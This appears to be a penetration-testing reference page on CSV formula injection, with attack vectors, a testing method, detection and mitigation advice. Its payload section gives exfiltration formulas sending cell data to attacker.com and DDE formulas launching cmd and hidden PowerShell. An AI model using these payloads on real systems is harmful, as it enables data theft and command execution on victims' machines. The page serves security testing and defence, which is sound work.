OWASP Hunting
Injection

CSV Injection

CSV injection (formula injection) embeds spreadsheet formulas in exported data that execute when a victim opens the file in a spreadsheet application.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

CSV Injection (also known as Formula Injection) occurs when an attacker injects spreadsheet formula syntax into fields that are later exported to a CSV or spreadsheet file. When a victim opens the file in Microsoft Excel, LibreOffice Calc, or Google Sheets, the formula executes with the victim's privileges — potentially executing commands, exfiltrating data, or loading remote content.

Attack Vectors

  • User profile fields exported to CSV
  • Contact forms where data is exported by admins
  • Feedback and survey forms
  • Product reviews and comments exported as reports
  • Log viewers that offer CSV download

Testing Methodology

  1. Submit =1+1 in a field and export the data to CSV
  2. Open the exported file in a spreadsheet application and verify formula execution
  3. Test with =HYPERLINK() to load remote content
  4. Test with =cmd| to attempt DDE command execution (Excel on Windows)

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

Basic Detection
=1+1=SUM(1,1)=CONCAT('A','B')
Data Exfiltration
=HYPERLINK("http://attacker.com/?data="&A1,"Click")=IMPORTXML(CONCAT("http://attacker.com/?x=",CONCATENATE(A2:E2)),"//*")
DDE Execution (Excel/Windows)
=cmd|" /c calc"!A0=cmd|" /c powershell.exe -nop -w hidden -e <base64>"!A0@SUM(1+9)*cmd|" /c calc"!A0
Prefixes
=malicious_formula+malicious_formula-malicious_formula@malicious_formula =cmd =cmd

Indicators of Vulnerability

  • Formula evaluated in spreadsheet application when file is opened
  • Outbound network request from victim machine to attacker URL
  • Calculator or other application launched via DDE

Detection Guidance

Monitor exported files for cells containing formula prefixes (=, +, -, @). Implement server-side sanitization of export data.

Mitigation & Remediation

  • Sanitize cell content by prepending a single quote before formula characters
  • Encode or strip leading =, +, -, @, TAB, CR characters in export functions
  • Use a dedicated library that handles CSV escaping for export
  • Inform users of the risk when downloading CSV files from user-generated content

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)